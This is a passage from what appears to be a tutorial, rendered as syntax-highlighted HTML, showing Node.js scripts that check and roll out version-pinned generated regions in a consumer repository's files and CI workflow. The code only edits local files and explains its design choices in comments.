&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `file://${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;process&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { targets } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;targets.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // The consumer checks against the version IT has pinned, not the newest one.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pin &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /@acme\/brand@(\d+\.\d+\.\d+)/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;consumer/.github/workflows/ci.yml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;))[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; results &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; check&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    targets, version: pin, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (p) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`consumer/${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`checking against pinned ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;pin&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; results) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;ok&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;ok  &apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;FAIL&apos;}  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EXPLAIN&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; bad &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; results.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.status &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;ok&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).length;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  process.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(bad &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The rollout&lt;/h2&gt;
&lt;p&gt;Now the producer’s side, and the whole point is the branch where the region doesn’t exist yet. Save this as &lt;code&gt;rollout.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/** What the PRODUCER runs to raise a consumer onto a new release. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync, writeFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { findRegion, seed, splice } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./region.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; PIN_RE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /(@acme\/brand@)(\d+\.\d+\.\d+)/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; CI &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;consumer/.github/workflows/ci.yml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; rollout&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ targets, version, root, bumpOnly &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; targets.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((target) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; path &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}/${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; before &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target.body.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;{version}&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, version);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(before, target);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (found) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;splice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(before, target, version, body));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { id: target.id, action: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;updated&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // The consumer has no region for this target yet, because the release&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // that declares it is the one arriving right now. Its check will start&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // failing &quot;missing&quot; the instant the pin lands, so the pin bump and the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // region have to be the SAME change.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (bumpOnly) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { id: target.id, action: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;left missing&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // Only seedable if the target says where the region goes. A region that&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // was deliberately DELETED looks identical to one never created, and this&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // cannot tell them apart, so an anchor is required consent.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;target.init?.insertAfter) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { id: target.id, action: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;MISSING, not seedable&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;seed&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(before, target, version, body));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { id: target.id, action: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;seeded&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ci &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(CI, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(CI, ci.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(PIN_RE, (m, p, found) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `file://${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;process&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { version, targets } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;targets.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; bumpOnly &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; process.argv.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--bump-only&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; rollout&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ targets, version, root: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;consumer&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, bumpOnly })) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;action&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
